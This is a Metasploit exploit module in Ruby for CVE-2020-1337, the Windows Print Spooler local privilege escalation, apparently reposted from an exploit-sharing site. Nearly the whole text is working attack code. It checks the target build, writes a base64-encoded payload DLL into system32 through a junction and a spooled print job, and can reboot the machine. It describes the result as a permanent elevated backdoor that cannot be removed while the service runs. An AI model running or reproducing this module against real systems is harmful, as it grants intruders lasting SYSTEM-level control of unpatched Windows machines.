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This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/windows/powershell' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE include Msf::Post::Windows::Powershell prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability', 'Description' => %q{ This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor. }, 'License' => MSF_LICENSE, 'Author' => [ 'Peleg Hadar', # Original discovery 'Tomer Bar', # Original discovery '404death', # PoC 'sailay1996', # PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2019-11-04', 'References' => [ ['CVE', '2020-1337'], ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337'], ['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'], ['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => true }, 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] ) ) register_options([ OptString.new('JUNCTION_PATH', [false, 'Path to use as junction (%TEMP%/%RAND% by default).', nil]), OptString.new('DESTINATION_PATH', [false, 'Location of file to overwrite (%WINDIR%\system32\ by default).', nil]), OptString.new('DESTINATION_FILE', [false, 'Filename to overwrite (ualapi.dll by default).', nil]), OptString.new('PRINTER_NAME', [true, 'Printer Name to use (%RAND% by default).', Rex::Text.rand_text_alpha(5..9).to_s]), OptBool.new('RESTART_TARGET', [false, 'Restart the target after exploit (you will lose your session until a second reboot).', false]) ]) end def cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, b64_payload) # Read in Generic Script script = exploit_data('CVE-2020-1337', 'cve-2020-1337.ps1') fail_with(Failure::BadConfig, 'No exploit script found') if script.nil? # Replace Values in Generic Script vprint_status('Replacing variables') junction_filepath = "#{junction_path}\\#{destination_file}" # The random string appears to be required when using the psh_exec # It may be due to the way we break apart the script? # I would not be upset to find the root cause and fix it. script.gsub!('JUNCTION_FILEPATH', junction_filepath) script.gsub!('PRINTER_NAME', printer_name) script.gsub!('JUNCTION_PATH', junction_path) script.gsub!('DESTINATION_PATH', destination_path) script.gsub!('B64_PAYLOAD_DLL', b64_payload) # Run Exploit Script print_status("Running Exploit on #{sysinfo['Computer']}") begin #client.powershell.execute_string(code: script) session.powershell.execute_string({code: script}) rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end end def exploit if datastore['DESTINATION_PATH'].nil? || datastore['DESTINATION_PATH'].empty? win_dir = session.sys.config.getenv('windir') destination_path = "#{win_dir}\\system32" else destination_path = datastore['DESTINATION_PATH'] end if datastore['DESTINATION_FILE'].nil? || datastore['DESTINATION_FILE'].empty? destination_file = 'ualapi.dll' else destination_file = datastore['DESTINATION_FILE'] end if datastore['JUNCTION_PATH'].nil? || datastore['JUNCTION_PATH'].empty? junction_path = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..15)}" else junction_path = datastore['JUNCTION_PATH'] end client.core.use("powershell") if not client.ext.aliases.include?("powershell") printer_name = datastore['PRINTER_NAME'] payload_dll = generate_payload_dll # Check target vprint_status('Checking Target') validate_active_host validate_payload # Run the exploit output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll)) sleep(3) # make sure exploit is finished # Reboot, if desired if datastore['RESTART_TARGET'] sleep(10) vprint_status("Rebooting #{sysinfo['Computer']}") begin session.sys.power.reboot rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end end end def validate_active_host begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_payload vprint_status("Target Arch = #{sysinfo['Architecture']}") vprint_status("Payload Arch = #{payload.arch.first}") unless payload.arch.first == sysinfo['Architecture'] fail_with(Failure::BadConfig, 'Payload arch must match target arch') end end def check sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Build Number = #{build_num}") return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363 return Exploit::CheckCode::Safe end end # 0day.today [2021-01-19] # Source